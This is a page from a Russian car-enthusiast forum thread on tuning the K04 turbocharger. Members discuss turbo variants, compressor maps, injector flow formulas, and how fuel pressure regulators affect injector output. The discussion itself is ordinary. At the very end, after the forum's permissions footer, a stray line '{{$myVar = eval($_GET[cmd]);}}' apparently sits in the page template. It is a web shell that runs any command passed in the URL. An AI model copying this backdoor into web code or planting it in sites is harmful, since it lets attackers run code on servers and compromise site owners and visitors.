+ Ответить в теме
Страница 7 из 7 ПерваяПервая ... 5 6 7
Показано с 61 по 70 из 70

Тема: Тюнинг турбины К04


  1. #61
    GTI-Racing HAWK has a spectacular aura about HAWK has a spectacular aura about Аватар для HAWK
    Регистрация
    17.06.2009
    Откуда
    SPB
    Машина
    MK4
    Сообщений
    576
    Цитата Сообщение от DUX Посмотреть сообщение
    а топливный регулятор в эту формулу коррекции не вносит?


    я так понимаю есть
    тд04h-13g
    тд04h-15g
    тд04hl-15t
    тд04h-18t
    а ещё есть ТД05..

    только вот турбокарты я читать не умею(
    и какие улитки на какие моторы ставятся никак не найду..
    1.есть ещё 19t
    2. формула для форсов/мощности. сколько можно выжать максимум на формах.+ запас естественно надо учитывать. чтоб форсунка не на 100% долбила постоянно.
    3.по поводу карт сдесь более менее просто на русском
    http://racing-club.ru/forums/index.php?showtopic=2543
    в итоге построенная прямая должна лежать в максимально эффективном промежутке карты. если выходит за пределы карты то не гуд
    MKIV GTI AGU-sold
    BMW 120D ///M -pack-sold
    BMW 325 Xi ///M -pack-sold
    AUDI Q3 REVO St.1

  2. #62
    GTI-Racing DUX is on a distinguished road Аватар для DUX
    Регистрация
    16.12.2006
    Откуда
    ВАО
    Машина
    VW .. 3.0 tdi
    Сообщений
    2,255
    Цитата Сообщение от DUX Посмотреть сообщение
    Цитата Сообщение от HAWK Посмотреть сообщение
    расход топлива на форсунку=(желаемая мощность*5,775)/количество форсунок
    а топливный регулятор в эту формулу коррекции не вносит?
    не я к тому, что:
    например, при топл. регуляторе 3 бара (стандарт для многих) форсунки ТТ225 капают на 386сс,
    а при топ. регул. в 4 бара - примерно в 460сс.
    Если вдруг стало темно, не пугайтесь - вы обогнали свет.

  3. #63
    GTI-Racing HAWK has a spectacular aura about HAWK has a spectacular aura about Аватар для HAWK
    Регистрация
    17.06.2009
    Откуда
    SPB
    Машина
    MK4
    Сообщений
    576
    Цитата Сообщение от DUX Посмотреть сообщение
    не я к тому, что:
    например, при топл. регуляторе 3 бара (стандарт для многих) форсунки ТТ225 капают на 386сс,
    а при топ. регул. в 4 бара - примерно в 460сс.
    как она может больше своей производительности лить?
    MKIV GTI AGU-sold
    BMW 120D ///M -pack-sold
    BMW 325 Xi ///M -pack-sold
    AUDI Q3 REVO St.1

  4. #64
    GTI-Racing DUX is on a distinguished road Аватар для DUX
    Регистрация
    16.12.2006
    Откуда
    ВАО
    Машина
    VW .. 3.0 tdi
    Сообщений
    2,255
    Цитата Сообщение от HAWK Посмотреть сообщение
    как она может больше своей производительности лить?
    не знаю, может быть причина в давлении?!

    ------

    * по турбе ТД04\05 буду здесь)
    http://www.gti-club.ru/forum/showthread.php?t=10783
    Последний раз редактировалось DUX; 05.10.2009 в 21:41.
    Если вдруг стало темно, не пугайтесь - вы обогнали свет.

  5. #65
    Честно говоря тоже непонятно - как при разном давлении , производительность форсунки увеличиваеться ???? Ну непонятно-же , непонятно ??? А если регулятор поставить в 5 бар она еще больше лить будеть , зачем тада менять форсунки если дешевле и выгоднее поменять регулятор и бензонасос

  6. #66
    При переходе с 3 барного регелятора на 4 барный производительность увиличиватся примерно на 15%. Для большего увеличения производительности придется всетаки менять форсы.

  7. #67
    Есть факты ???

  8. #68
    GTI-Racing valoff 053 is on a distinguished road Аватар для valoff 053
    Регистрация
    31.12.2008
    Откуда
    Нижний Новгород
    Машина
    гольф 4 гти и Умка
    Сообщений
    556
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    Есть факты ???
    канеча, это почти всем извесно, а ты чо не знал?
    2.0т AGU 2000г.
    А3 AQA 1.8т Quattro 2000г.
    Kalina Sport Turbo 2010г.
    AUDI Coupe QUATTRO 1990г.
    AUDI S3 AMK 2001г.японочка

  9. #69
    Не знал , поэтому интересно !!!! Про турбо мало что знаю , вот и пытаюсь понять что к чему , с помощью Всех кто может ченить рассказать и хочет помогать другим , хотя-бы в области информации

  10. #70
    GTI-Racing valoff 053 is on a distinguished road Аватар для valoff 053
    Регистрация
    31.12.2008
    Откуда
    Нижний Новгород
    Машина
    гольф 4 гти и Умка
    Сообщений
    556
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    Не знал , поэтому интересно !!!! Про турбо мало что знаю , вот и пытаюсь понять что к чему , с помощью Всех кто может ченить рассказать и хочет помогать другим , хотя-бы в области информации
    теперь знаешь.
    2.0т AGU 2000г.
    А3 AQA 1.8т Quattro 2000г.
    Kalina Sport Turbo 2010г.
    AUDI Coupe QUATTRO 1990г.
    AUDI S3 AMK 2001г.японочка

+ Ответить в теме
Страница 7 из 7 ПерваяПервая ... 5 6 7

Похожие темы

  1. 053 и 052 , турбины чем отличаются ?
    от Alexandr 922 в разделе Golf 4
    Ответов: 8
    Последнее сообщение: 02.07.2024, 02:16
  2. турбины на VAG
    от макс 902 в разделе Покупка и продажа запчастей
    Ответов: 29
    Последнее сообщение: 29.10.2013, 00:24
  3. Передув турбины
    от Mult в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 5
    Последнее сообщение: 11.11.2009, 14:05
  4. Новые Турбины Сток И Тюнинг
    от Turbomotors в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 0
    Последнее сообщение: 20.12.2008, 11:36
  5. Турбины
    от Lee в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 3
    Последнее сообщение: 23.09.2007, 00:32

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}